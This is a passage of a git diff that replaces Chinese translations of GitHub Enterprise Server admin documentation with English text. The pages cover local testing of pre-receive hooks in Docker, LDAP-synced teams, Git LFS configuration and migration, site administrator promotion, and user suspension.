                    $GITHUB_PULL_REQUEST_HEAD
                    | 拉取请求的主题分支的名称，格式为 `USERNAME:BRANCH` | octocat:fix-bug | -| 
                    $GITHUB_PULL_REQUEST_BASE
                    | 拉取请求的基础分支的名称，格式为 `USERNAME:BRANCH` | octocat:main | +| Variable | Description | Example value | +| :- | :- | :- | +| 
                    $GITHUB_PULL_REQUEST_AUTHOR_LOGIN
                    | Username of account that authored the pull request | octocat | +| 
                    $GITHUB_PULL_REQUEST_HEAD
                    | The name of the pull request's topic branch, in the format `USERNAME:BRANCH` | octocat:fix-bug | +| 
                    $GITHUB_PULL_REQUEST_BASE
                    | The name of the pull request's base branch, in the format `USERNAME:BRANCH` | octocat:main | -#### 可用于使用 SSH 身份验证的推送 +#### Available for pushes using SSH authentication -| 变量 | 描述 | 示例值 | -|:-------------------------- |:------------ |:----------------------------------------------- | -| 
                    $GITHUB_PUBLIC_KEY_FINGERPRINT
                    | 推送更改的用户的公钥指纹 | a1:b2:c3:d4:e5:f6:g7:h8:i9:j0:k1:l2:m3:n4:o5:p6 | +| Variable | Description | Example value | +| :- | :- | :- | +| 
                    $GITHUB_PUBLIC_KEY_FINGERPRINT
                    | The public key fingerprint for the user who pushed the changes | a1:b2:c3:d4:e5:f6:g7:h8:i9:j0:k1:l2:m3:n4:o5:p6 | -## 设置权限并将预接收挂钩推送到 {% data variables.product.prodname_ghe_server %} +## Setting permissions and pushing a pre-receive hook to {% data variables.product.prodname_ghe_server %} -{% data variables.product.product_location %} 上的仓库中包含预接收挂钩脚本。 站点管理员必须考虑仓库权限，确保只有适当的用户才能访问。 +A pre-receive hook script is contained in a repository on {% data variables.product.product_location %}. A site administrator must take into consideration the repository permissions and ensure that only the appropriate users have access. -我们建议将挂钩合并到单个仓库。 如果统一的挂钩仓库是公共的，则可以使用 `README.md` 来解释策略强制实施。 此外，也可以通过拉取请求接受贡献。 但是，只能从默认分支添加预接收挂钩。 对于测试工作流程，应使用具有配置的仓库的分支。 +We recommend consolidating hooks to a single repository. If the consolidated hook repository is public, the `README.md` can be used to explain policy enforcements. Also, contributions can be accepted via pull requests. However, pre-receive hooks can only be added from the default branch. For a testing workflow, forks of the repository with configuration should be used. -1. 对于 Mac 用户，确保脚本具有执行权限： +1. For Mac users, ensure the scripts have execute permissions: ```shell $ sudo chmod +x SCRIPT_FILE.sh ``` - 对于 Windows 用户，确保脚本具有执行权限： + For Windows users, ensure the scripts have execute permissions: ```shell git update-index --chmod=+x SCRIPT_FILE.sh ``` -2. 在 {% data variables.product.product_location %} 提交并推送到指定的预接收挂钩仓库。 +2. Commit and push to the designated repository for pre-receive hooks on {% data variables.product.product_location %}. ```shell $ git commit -m "YOUR COMMIT MESSAGE" $ git push ``` -3. 在 {% data variables.product.prodname_ghe_server %} 实例上[创建预接收挂钩](/enterprise/{{ currentVersion }}/admin/guides/developer-workflow/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance/#creating-pre-receive-hooks)。 +3. [Create the pre-receive hook](/enterprise/{{ currentVersion }}/admin/guides/developer-workflow/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance/#creating-pre-receive-hooks) on the {% data variables.product.prodname_ghe_server %} instance. -## 在本地测试预接收脚本 -在 {% data variables.product.product_location %} 上创建或更新预接收挂钩脚本之前，您可以在本地对其进行测试。 一种方法是创建本地 Docker 环境以充当可以执行预接收挂钩的远程仓库。 +## Testing pre-receive scripts locally +You can test a pre-receive hook script locally before you create or update it on {% data variables.product.product_location %}. One method is to create a local Docker environment to act as a remote repository that can execute the pre-receive hook. {% data reusables.linux.ensure-docker %} -2. 创建一个名为 `Dockerfile.dev` 的文件，其中包含： +2. Create a file called `Dockerfile.dev` containing: ```dockerfile FROM gliderlabs/alpine:3.3 @@ -172,7 +171,7 @@ shortTitle: 预接收挂钩脚本 CMD ["/usr/sbin/sshd", "-D"] ``` -3. 创建一个名为 `always_reject.sh` 的测试预接收脚本。 此示例脚本将拒绝所有推送，这对于锁定仓库非常有用： +3. Create a test pre-receive script called `always_reject.sh`. This example script will reject all pushes, which is useful for locking a repository: ``` #!/usr/bin/env bash @@ -181,13 +180,13 @@ shortTitle: 预接收挂钩脚本 exit 1 ``` -4. 确保 `always_reject.sh` 脚本具有执行权限： +4. Ensure the `always_reject.sh` scripts has execute permissions: ```shell $ chmod +x always_reject.sh ``` -5. 从包含 `Dockerfile.dev` 的目录中，构建一个镜像： +5. From the directory containing `Dockerfile.dev`, build an image: ```shell $ docker build -f Dockerfile.dev -t pre-receive.dev . @@ -210,32 +209,32 @@ shortTitle: 预接收挂钩脚本 > Successfully built dd8610c24f82 ``` -6. 运行包含生成的 SSH 密钥的数据容器： +6. Run a data container that contains a generated SSH key: ```shell $ docker run --name data pre-receive.dev /bin/true ``` -7. 将测试预接收挂钩 `always_reject.sh` 复制到数据容器中： +7. Copy the test pre-receive hook `always_reject.sh` into the data container: ```shell $ docker cp always_reject.sh data:/home/git/test.git/hooks/pre-receive ``` -8. 启动一个运行 `sshd` 的应用程序容器并执行挂钩。 记下返回的容器 ID： +8. Run an application container that runs `sshd` and executes the hook. Take note of the container id that is returned: ```shell $ docker run -d -p 52311:22 --volumes-from data pre-receive.dev > 7f888bc700b8d23405dbcaf039e6c71d486793cad7d8ae4dd184f4a47000bc58 ``` -9. 将生成的 SSH 密钥从数据容器复制到本地计算机： +9. Copy the generated SSH key from the data container to the local machine: ```shell $ docker cp data:/home/git/.ssh/id_ed25519 . ``` -10. 修改远程测试仓库并将其推送到 Docker 容器中的 `test.git` 仓库。 此示例使用了 `git@github.com:octocat/Hello-World.git`，但您可以使用想要的任何仓库。 此示例假定您的本地计算机 (127.0.0.1) 绑定了端口 52311，但如果 docker 在远程计算机上运行，则可以使用不同的 IP 地址。 +10. Modify the remote of a test repository and push to the `test.git` repo within the Docker container. This example uses `git@github.com:octocat/Hello-World.git` but you can use any repository you want. This example assumes your local machine (127.0.0.1) is binding port 52311, but you can use a different IP address if docker is running on a remote machine. ```shell $ git clone git@github.com:octocat/Hello-World.git @@ -254,7 +253,7 @@ shortTitle: 预接收挂钩脚本 > error: failed to push some refs to 'git@192.168.99.100:test.git' ``` - 请注意，在执行预接收挂钩并回显脚本中的输出后，将拒绝推送。 + Notice that the push was rejected after executing the pre-receive hook and echoing the output from the script. -## 延伸阅读 - - 来自 *Pro Git 网站*的“[自定义 Git - Git 强制实施策略示例](https://git-scm.com/book/en/v2/Customizing-Git-An-Example-Git-Enforced-Policy)” +## Further reading + - "[Customizing Git - An Example Git-Enforced Policy](https://git-scm.com/book/en/v2/Customizing-Git-An-Example-Git-Enforced-Policy)" from the *Pro Git website* diff --git a/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/creating-teams.md b/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/creating-teams.md index 2db90d2677..52334965f2 100644 --- a/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/creating-teams.md +++ b/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/creating-teams.md @@ -1,6 +1,6 @@ --- -title: 创建团队 -intro: 借助团队，组织可以创建成员组和控制仓库的访问权限。 可以向团队成员授予特定仓库的读取、写入或管理员权限。 +title: Creating teams +intro: 'Teams give organizations the ability to create groups of members and control access to repositories. Team members can be granted read, write, or admin permissions to specific repositories.' redirect_from: - /enterprise/admin/user-management/creating-teams - /admin/user-management/creating-teams @@ -13,16 +13,15 @@ topics: - Teams - User account --- +Teams are central to many of {% data variables.product.prodname_dotcom %}'s collaborative features, such as team @mentions to notify appropriate parties that you'd like to request their input or attention. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)." -团队是 {% data variables.product.prodname_dotcom %} 许多协作功能的中心，例如团队 @提及，此功能可以通知相关方您想要请求他们的输入或注意。 For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)." +A team can represent a group within your company or include people with certain interests or expertise. For example, a team of accessibility experts on {% data variables.product.product_location %} could comprise of people from several different departments. Teams can represent functional concerns that complement a company's existing divisional hierarchy. -一个团队可以代表您的公司内的一个组，或者包含具有特定兴趣或专业知识的人。 例如，{% data variables.product.product_location %} 上的可访问性专家团队可能包括来自多个不同部门的人。 团队可以体现职能关注，对公司现有的部门层次结构进行补充。 +Organizations can create multiple levels of nested teams to reflect a company or group's hierarchy structure. For more information, see "[About teams](/enterprise/{{ currentVersion }}/user/articles/about-teams/#nested-teams)." -组织可以创建包含多个级别的嵌套团队来反映公司或小组的层级结构。 更多信息请参阅“[关于团队](/enterprise/{{ currentVersion }}/user/articles/about-teams/#nested-teams)”。 +## Creating a team -## 创建团队 - -审慎的团队组合是控制仓库权限的强有力方式。 例如，如果您的组织仅允许发布工程团队向任何仓库的默认分支推送代码，您可以仅向发布工程团队授予组织仓库的**管理员**权限，向所有其他团队授予**读取**权限。 +A prudent combination of teams is a powerful way to control repository access. For example, if your organization allows only your release engineering team to push code to the default branch of any repository, you could give only the release engineering team **admin** permissions to your organization's repositories and give all other teams **read** permissions. {% data reusables.profile.access_org %} {% data reusables.user_settings.access_org %} @@ -33,9 +32,9 @@ topics: {% data reusables.organizations.create-team-choose-parent %} {% data reusables.organizations.create_team %} -## 创建启用 LDAP 同步的团队 +## Creating teams with LDAP Sync enabled -使用 LDAP 进行用户身份验证的实例可以使用 LDAP 同步管理团队的成员。 在 **LDAP group（LDAP 组）** 字段中设置组的 **Distinguished Name（识别名称）**(DN) 会在您的 LDAP 服务器上将团队映射到 LDAP 组。 如果您使用 LDAP 同步管理团队的成员，将无法管理 {% data variables.product.product_location %} 内的团队。 启用 LDAP 同步后，映射的团队将以配置的间隔定期在后台同步成员。 更多信息请参阅“[启用 LDAP 同步](/enterprise/{{ page.version }}/admin/guides/user-management/using-ldap#enabling-ldap-sync)”。 +Instances using LDAP for user authentication can use LDAP Sync to manage a team's members. Setting the group's **Distinguished Name** (DN) in the **LDAP group** field will map a team to an LDAP group on your LDAP server. If you use LDAP Sync to manage a team's members, you won't be able to manage your team within {% data variables.product.product_location %}. The mapped team will sync its members in the background and periodically at the interval configured when LDAP Sync is enabled. For more information, see "[Enabling LDAP Sync](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync)." You must be a site admin and an organization owner to create a team with LDAP sync enabled. @@ -43,19 +42,20 @@ You must be a site admin and an organization owner to create a team with LDAP sy {% warning %} -**注意：** -- LDAP 同步仅管理团队的成员列表。 您必须在 {% data variables.product.prodname_ghe_server %} 内管理团队的仓库和权限。 -- 如果到 DN 的 LDAP 组映射被移除（例如，LDAP 组被删除），将从同步的 {% data variables.product.prodname_ghe_server %} 团队中移除每个成员。 要解决这个问题，请将团队映射到新 DN，重新添加团队成员，并[手动同步映射](/enterprise/{{ page.version }}/admin/guides/user-management/using-ldap/#manually-syncing-ldap-accounts)。 -- 启用 LDAP 同步后，如果某个用户被从仓库中移除，他们将失去访问权限，但是他们的分叉将不会删除。 如果某个用户被添加到团队中并在三个月内拥有原始组织仓库的访问权限，他们对分叉的访问权限将在下一次同步时自动恢复。 +**Notes:** +- LDAP Sync only manages the team's member list. You must manage the team's repositories and permissions from within {% data variables.product.prodname_ghe_server %}. +- If an LDAP group mapping to a DN is removed, such as if the LDAP group is deleted, then every member is removed from the synced {% data variables.product.prodname_ghe_server %} team. To fix this, map the team to a new DN, add the team members back, and [manually sync the mapping](/enterprise/admin/authentication/using-ldap#manually-syncing-ldap-accounts). +- When LDAP Sync is enabled, if a person is removed from a repository, they will lose access but their forks will not be deleted. If the person is added to a team with access to the original organization repository within three months, their access to the forks will be automatically restored on the next sync. {% endwarning %} -1. 确保[启用 LDAP 同步](/enterprise/{{ page.version }}/admin/guides/user-management/using-ldap#enabling-ldap-sync)。 +1. Ensure that [LDAP Sync is enabled](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync). {% data reusables.profile.access_org %} {% data reusables.user_settings.access_org %} {% data reusables.organizations.new_team %} {% data reusables.organizations.team_name %} -6. 搜索要映射团队的目标 LDAP 组的 DN。 如果您不知道 DN，请输入 LDAP 组的名称。 {% data variables.product.prodname_ghe_server %} 将搜索并自动完成任何匹配。 ![映射到 LDAP 组 DN](/assets/images/enterprise/orgs-and-teams/ldap-group-mapping.png) +6. Search for an LDAP group's DN to map the team to. If you don't know the DN, type the LDAP group's name. {% data variables.product.prodname_ghe_server %} will search for and autocomplete any matches. +![Mapping to the LDAP group DN](/assets/images/enterprise/orgs-and-teams/ldap-group-mapping.png) {% data reusables.organizations.team_description %} {% data reusables.organizations.team_visibility %} {% data reusables.organizations.create-team-choose-parent %} diff --git a/translations/zh-CN/content/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md b/translations/zh-CN/content/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md index b03e5c2d8e..ff100011d4 100644 --- a/translations/zh-CN/content/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md +++ b/translations/zh-CN/content/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md @@ -1,5 +1,5 @@ --- -title: 为企业配置 Git 大型文件存储 +title: Configuring Git Large File Storage for your enterprise intro: '{% data reusables.enterprise_site_admin_settings.configuring-large-file-storage-short-description %}' redirect_from: - /enterprise/admin/guides/installation/configuring-git-large-file-storage-on-github-enterprise/ @@ -22,21 +22,20 @@ topics: - Enterprise - LFS - Storage -shortTitle: 配置 Git LFS +shortTitle: Configure Git LFS --- +## About {% data variables.large_files.product_name_long %} -## 关于 {% data variables.large_files.product_name_long %} - -{% data reusables.enterprise_site_admin_settings.configuring-large-file-storage-short-description %} 您可以将 {% data variables.large_files.product_name_long %} 与单一仓库、所有个人或组织仓库或企业中的每一个仓库结合使用。 您需要先为企业启用 {% data variables.large_files.product_name_short %}，然后才能为特定仓库或组织启用 {% data variables.large_files.product_name_short %}。 +{% data reusables.enterprise_site_admin_settings.configuring-large-file-storage-short-description %} You can use {% data variables.large_files.product_name_long %} with a single repository, all of your personal or organization repositories, or with every repository in your enterprise. Before you can enable {% data variables.large_files.product_name_short %} for specific repositories or organizations, you need to enable {% data variables.large_files.product_name_short %} for your enterprise. {% data reusables.large_files.storage_assets_location %} {% data reusables.large_files.rejected_pushes %} -更多信息请参阅“[关于 {% data variables.large_files.product_name_long %}](/articles/about-git-large-file-storage)”、“[大文件版本管理](/enterprise/user/articles/versioning-large-files/)”以及 [{% data variables.large_files.product_name_long %} 项目站点](https://git-lfs.github.com/)。 +For more information, see "[About {% data variables.large_files.product_name_long %}](/articles/about-git-large-file-storage)", "[Versioning large files](/enterprise/user/articles/versioning-large-files/)," and the [{% data variables.large_files.product_name_long %} project site](https://git-lfs.github.com/). {% data reusables.large_files.can-include-lfs-objects-archives %} -## 为企业配置 {% data variables.large_files.product_name_long %} +## Configuring {% data variables.large_files.product_name_long %} for your enterprise {% data reusables.enterprise-accounts.access-enterprise %} {% ifversion ghes or ghae %} @@ -45,9 +44,10 @@ shortTitle: 配置 Git LFS {% data reusables.enterprise-accounts.settings-tab %} {% endif %} {% data reusables.enterprise-accounts.options-tab %} -4. 在“{% data variables.large_files.product_name_short %} 访问权限”下，使用下拉菜单，然后单击 **Enabled（已启用）**或 **Disabled（已禁用）**。 ![Git LFS access](/assets/images/enterprise/site-admin-settings/git-lfs-admin-center.png) +4. Under "{% data variables.large_files.product_name_short %} access", use the drop-down menu, and click **Enabled** or **Disabled**. +![Git LFS Access](/assets/images/enterprise/site-admin-settings/git-lfs-admin-center.png) -## 为各个仓库配置 {% data variables.large_files.product_name_long %} +## Configuring {% data variables.large_files.product_name_long %} for an individual repository {% data reusables.enterprise_site_admin_settings.override-policy %} @@ -58,7 +58,7 @@ shortTitle: 配置 Git LFS {% data reusables.enterprise_site_admin_settings.admin-tab %} {% data reusables.enterprise_site_admin_settings.git-lfs-toggle %} -## 为用户帐户或组织拥有的每个仓库配置 {% data variables.large_files.product_name_long %} +## Configuring {% data variables.large_files.product_name_long %} for every repository owned by a user account or organization {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.search-user-or-org %} @@ -68,14 +68,14 @@ shortTitle: 配置 Git LFS {% data reusables.enterprise_site_admin_settings.git-lfs-toggle %} {% ifversion ghes %} -## 将 Git Large File Storage 配置为使用第三方服务器 +## Configuring Git Large File Storage to use a third party server {% data reusables.large_files.storage_assets_location %} {% data reusables.large_files.rejected_pushes %} -1. 在 {% data variables.product.product_location %} 上禁用 {% data variables.large_files.product_name_short %}。 更多信息请参阅“[为企业配置 {% data variables.large_files.product_name_long %}](#configuring-git-large-file-storage-for-your-enterprise)”。 +1. Disable {% data variables.large_files.product_name_short %} on {% data variables.product.product_location %}. For more information, see "[Configuring {% data variables.large_files.product_name_long %} for your enterprise](#configuring-git-large-file-storage-for-your-enterprise)." -2. 创建指向第三方服务器的 {% data variables.large_files.product_name_short %} 配置文件。 +2. Create a {% data variables.large_files.product_name_short %} configuration file that points to the third party server. ```shell # Show default configuration $ git lfs env @@ -98,18 +98,18 @@ shortTitle: 配置 Git LFS lfsurl = https://THIRD-PARTY-LFS-SERVER/path/to/repo ``` -3. 为使各用户的 {% data variables.large_files.product_name_short %} 配置相同，请向仓库提交自定义 `.lfsconfig` 文件。 +3. To keep the same {% data variables.large_files.product_name_short %} configuration for each user, commit a custom `.lfsconfig` file to the repository. ```shell $ git add .lfsconfig $ git commit -m "Adding LFS config file" ``` -3. 迁移任何现有的 {% data variables.large_files.product_name_short %} 资源。 更多信息请参阅“[迁移到不同的 {% data variables.large_files.product_name_long %} 服务器](#migrating-to-a-different-git-large-file-storage-server)”。 +3. Migrate any existing {% data variables.large_files.product_name_short %} assets. For more information, see "[Migrating to a different {% data variables.large_files.product_name_long %} server](#migrating-to-a-different-git-large-file-storage-server)." -## 迁移到其他 Git Large File Storage 服务器 +## Migrating to a different Git Large File Storage server -迁移到其他 {% data variables.large_files.product_name_long %} 服务器之前，您必须将 {% data variables.large_files.product_name_short %} 配置为使用第三方服务器。 解更多信息请参阅“[配置 {% data variables.large_files.product_name_long %} 使用第三方服务器](#configuring-git-large-file-storage-to-use-a-third-party-server)”。 +Before migrating to a different {% data variables.large_files.product_name_long %} server, you must configure {% data variables.large_files.product_name_short %} to use a third party server. For more information, see "[Configuring {% data variables.large_files.product_name_long %} to use a third party server](#configuring-git-large-file-storage-to-use-a-third-party-server)." -1. 使用第二个远端配置仓库。 +1. Configure the repository with a second remote. ```shell $ git remote add NEW-REMOTE https://NEW-REMOTE-HOSTNAME/path/to/repo   @@ -121,7 +121,7 @@ shortTitle: 配置 Git LFS > Endpoint (NEW-REMOTE)=https://NEW-REMOTE-HOSTNAME/path/to/repo/info/lfs (auth=none) ``` -2. 从旧远端提取所有对象。 +2. Fetch all objects from the old remote. ```shell $ git lfs fetch origin --all > Scanning for all objects ever referenced... @@ -130,7 +130,7 @@ shortTitle: 配置 Git LFS > Git LFS: (16 of 16 files) 48.71 MB / 48.85 MB ``` -3. 将所有对象推送到新远端。 +3. Push all objects to the new remote. ```shell $ git lfs push NEW-REMOTE --all > Scanning for all objects ever referenced... @@ -140,6 +140,6 @@ shortTitle: 配置 Git LFS ``` {% endif %} -## 延伸阅读 +## Further reading -- [{% data variables.large_files.product_name_long %} 项目站点](https://git-lfs.github.com/) +- [{% data variables.large_files.product_name_long %} project site](https://git-lfs.github.com/) diff --git a/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md b/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md index 782d16fae6..780a4f4191 100644 --- a/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md +++ b/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md @@ -1,11 +1,11 @@ --- -title: 升级或降级站点管理员 +title: Promoting or demoting a site administrator redirect_from: - /enterprise/admin/articles/promoting-a-site-administrator/ - /enterprise/admin/articles/demoting-a-site-administrator/ - /enterprise/admin/user-management/promoting-or-demoting-a-site-administrator - /admin/user-management/promoting-or-demoting-a-site-administrator -intro: 站点管理员可以将任何普通用户升级为站点管理员，也可以将其他站点管理员降级为普通用户。 +intro: 'Site administrators can promote any normal user account to a site administrator, as well as demote other site administrators to regular users.' versions: ghes: '*' type: how_to @@ -14,46 +14,49 @@ topics: - Accounts - User account - Enterprise -shortTitle: 管理管理员 +shortTitle: Manage administrators --- - {% tip %} -**注**：如果已[启用 LDAP 同步](/enterprise/{{ page.version }}/admin/guides/user-management/using-ldap#enabling-ldap-sync)并且在[为用户配置 LDAP 访问](/enterprise/{{ page.version }}/admin/guides/user-management/using-ldap#configuring-ldap-with-your-github-enterprise-server-instance)时设置了 `Administrators group` 属性，这些用户将自动获得您的实例的站点管理员访问权限。 在这种情况下，您无法按照下面的步骤手动升级用户；您必须将其添加到 LDAP 管理员组中。 +**Note:** If [LDAP Sync is enabled](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync) and the `Administrators group` attribute is set when [configuring LDAP access for users](/enterprise/admin/authentication/using-ldap#configuring-ldap-with-your-github-enterprise-server-instance), those users will automatically have site administrator access to your instance. In this case, you can't manually promote users with the steps below; you must add them to the LDAP administrators group. {% endtip %} -有关将用户升级为组织所有者的信息，请参阅“[命令行实用程序](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-org-admin-promote)”的 `ghe-org-admin-promote` 部分。 +For information about promoting a user to an organization owner, see the `ghe-org-admin-promote` section of "[Command-line utilities](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-org-admin-promote)." -## 从企业设置升级用户 +## Promoting a user from the enterprise settings {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.people-tab %} {% data reusables.enterprise-accounts.administrators-tab %} -5. 在页面的右上角，单击 **Add owner（添加所有者）**。 ![用于添加管理员的按钮](/assets/images/help/business-accounts/business-account-add-admin-button.png) -6. 在搜索字段中，输入用户的名称，然后单击 **Add**。 ![用于添加管理员的搜索字段](/assets/images/help/business-accounts/business-account-search-to-add-admin.png) +5. In the upper-right corner of the page, click **Add owner**. + ![Button to add an admin](/assets/images/help/business-accounts/business-account-add-admin-button.png) +6. In the search field, type the name of the user and click **Add**. + ![Search field to add an admin](/assets/images/help/business-accounts/business-account-search-to-add-admin.png) -## 从企业设置降级站点管理员 +## Demoting a site administrator from the enterprise settings {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.people-tab %} {% data reusables.enterprise-accounts.administrators-tab %} -1. 在页面左上角的“Find an administrator（查找管理员）”搜索字段中，输入您想要降级的人员的用户名。 ![用于查找管理员的搜索字段](/assets/images/help/business-accounts/business-account-search-for-admin.png) +1. In the upper-left corner of the page, in the "Find an administrator" search field, type the username of the person you want to demote. + ![Search field to find an administrator](/assets/images/help/business-accounts/business-account-search-for-admin.png) -1. 在搜索结果中，查找您想要降级的人员的用户名，然后使用 {% octicon "gear" %} 下拉菜单选择 **Remove owner（删除所有者）**。 ![从企业选项中删除](/assets/images/help/business-accounts/demote-admin-button.png) +1. In the search results, find the username of the person you want to demote, then use the {% octicon "gear" %} drop-down menu, and select **Remove owner**. + ![Remove from enterprise option](/assets/images/help/business-accounts/demote-admin-button.png) -## 从命令行升级用户 +## Promoting a user from the command line -1. 通过 [SSH](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-administrative-shell-ssh/) 登录您的设备。 -2. 使用您想要升级的用户名运行 [ghe-user-promote](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-user-promote)。 +1. [SSH](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-administrative-shell-ssh/) into your appliance. +2. Run [ghe-user-promote](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-user-promote) with the username to promote. ```shell $ ghe-user-promote username ``` -## 从命令行降级站点管理员 +## Demoting a site administrator from the command line -1. 通过 [SSH](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-administrative-shell-ssh/) 登录您的设备。 -2. 使用您想要降级的用户名运行 [ghe-user-demote](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-user-demote)。 +1. [SSH](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-administrative-shell-ssh/) into your appliance. +2. Run [ghe-user-demote](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-user-demote) with the username to demote. ```shell $ ghe-user-demote username ``` diff --git a/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md b/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md index 742ad2a0b0..08148b0c9f 100644 --- a/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md +++ b/translations/zh-CN/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md @@ -1,5 +1,5 @@ --- -title: 挂起和取消挂起用户 +title: Suspending and unsuspending users redirect_from: - /enterprise/admin/articles/suspending-a-user/ - /enterprise/admin/articles/unsuspending-a-user/ @@ -8,7 +8,7 @@ redirect_from: - /enterprise/admin/articles/suspending-and-unsuspending-users/ - /enterprise/admin/user-management/suspending-and-unsuspending-users - /admin/user-management/suspending-and-unsuspending-users -intro: '如果用户离开公司或者调动到公司的其他部门，您应当移除或修改他们访问 {% data variables.product.product_location %} 的能力。' +intro: 'If a user leaves or moves to a different part of the company, you should remove or modify their ability to access {% data variables.product.product_location %}.' versions: ghes: '*' type: how_to @@ -17,12 +17,11 @@ topics: - Enterprise - Security - User account -shortTitle: 管理用户暂停 +shortTitle: Manage user suspension --- +If employees leave the company, you can suspend their {% data variables.product.prodname_ghe_server %} accounts to open up user licenses in your {% data variables.product.prodname_enterprise %} license while preserving the issues, comments, repositories, gists, and other data they created. Suspended users cannot sign into your instance, nor can they push or pull code. -如果员工从公司离职，您可以暂停他们的 {% data variables.product.prodname_ghe_server %} 帐户，打开您的 {% data variables.product.prodname_enterprise %} 许可中的用户许可，同时保存他们创建的议题、评论、仓库、Gist 及其他数据。 被挂起的用户既无法登录您的实例，也无法推送或拉取代码。 - -在您挂起用户时，变更将立即生效，并且不会通知用户。 如果用户尝试拉取仓库或推送到仓库，他们将收到此错误消息： +When you suspend a user, the change takes effect immediately with no notification to the user. If the user attempts to pull or push to a repository, they'll receive this error: ```shell $ git clone git@[hostname]:john-doe/test-repo.git @@ -31,64 +30,74 @@ ERROR: Your account is suspended. Please check with your installation administra fatal: The remote end hung up unexpectedly ``` -在挂起站点管理员之前，您必须将其降级为普通用户。 更多信息请参阅“[升级或降级站点管理员](/enterprise/admin/user-management/promoting-or-demoting-a-site-administrator)”。 +Before suspending site administrators, you must demote them to regular users. For more information, see "[Promoting or demoting a site administrator](/enterprise/admin/user-management/promoting-or-demoting-a-site-administrator)." {% tip %} -**注**：如果已为 {% data variables.product.product_location %} [启用 LDAP 同步](/enterprise/{{ page.version }}/admin/guides/user-management/using-ldap#enabling-ldap-sync)，那么当用户从 LDAP 目录服务器中移除时，他们也将被自动挂起。 为您的实例启用 LDAP 同步后，将禁用普通用户挂起方法。 +**Note:** If [LDAP Sync is enabled](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync) for {% data variables.product.product_location %}, users are automatically suspended when they're removed from the LDAP directory server. When LDAP Sync is enabled for your instance, normal user suspension methods are disabled. {% endtip %} -## 从用户管理员仪表板挂起用户 +## Suspending a user from the user admin dashboard {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.search-user %} {% data reusables.enterprise_site_admin_settings.click-user %} {% data reusables.enterprise_site_admin_settings.admin-top-tab %} {% data reusables.enterprise_site_admin_settings.admin-tab %} -5. 在红色 Danger Zone 框的“Account suspension”下，单击 **Suspend**。 ![Suspend 按钮](/assets/images/enterprise/site-admin-settings/suspend.png) -6. 提供挂起用户的原因。![挂起原因](/assets/images/enterprise/site-admin-settings/suspend-reason.png) +5. Under "Account suspension," in the red Danger Zone box, click **Suspend**. +![Suspend button](/assets/images/enterprise/site-admin-settings/suspend.png) +6. Provide a reason to suspend the user. +![Suspend reason](/assets/images/enterprise/site-admin-settings/suspend-reason.png) -## 从用户管理员仪表板取消挂起用户 +## Unsuspending a user from the user admin dashboard -挂起用户后，取消挂起用户的操作将立即可用。 用户将不会收到通知。 +As when suspending a user, unsuspending a user takes effect immediately. The user will not be notified. {% data reusables.enterprise_site_admin_settings.access-settings %} -3. 在左侧边栏中，单击 **Suspended users**。 ![Suspended users 选项卡](/assets/images/enterprise/site-admin-settings/user/suspended-users-tab.png) -2. 单击您想要取消挂起的用户帐户的名称。 ![已挂起的用户](/assets/images/enterprise/site-admin-settings/user/suspended-user.png) +3. In the left sidebar, click **Suspended users**. +![Suspended users tab](/assets/images/enterprise/site-admin-settings/user/suspended-users-tab.png) +2. Click the name of the user account that you would like to unsuspend. +![Suspended user](/assets/images/enterprise/site-admin-settings/user/suspended-user.png) {% data reusables.enterprise_site_admin_settings.admin-top-tab %} {% data reusables.enterprise_site_admin_settings.admin-tab %} -4. 在红色 Danger Zone 框的“Account suspension”下，单击 **Unsuspend**。 ![Unsuspend 按钮](/assets/images/enterprise/site-admin-settings/unsuspend.png) -5. 提供取消挂起用户的原因。![取消挂起原因](/assets/images/enterprise/site-admin-settings/unsuspend-reason.png) +4. Under "Account suspension," in the red Danger Zone box, click **Unsuspend**. +![Unsuspend button](/assets/images/enterprise/site-admin-settings/unsuspend.png) +5. Provide a 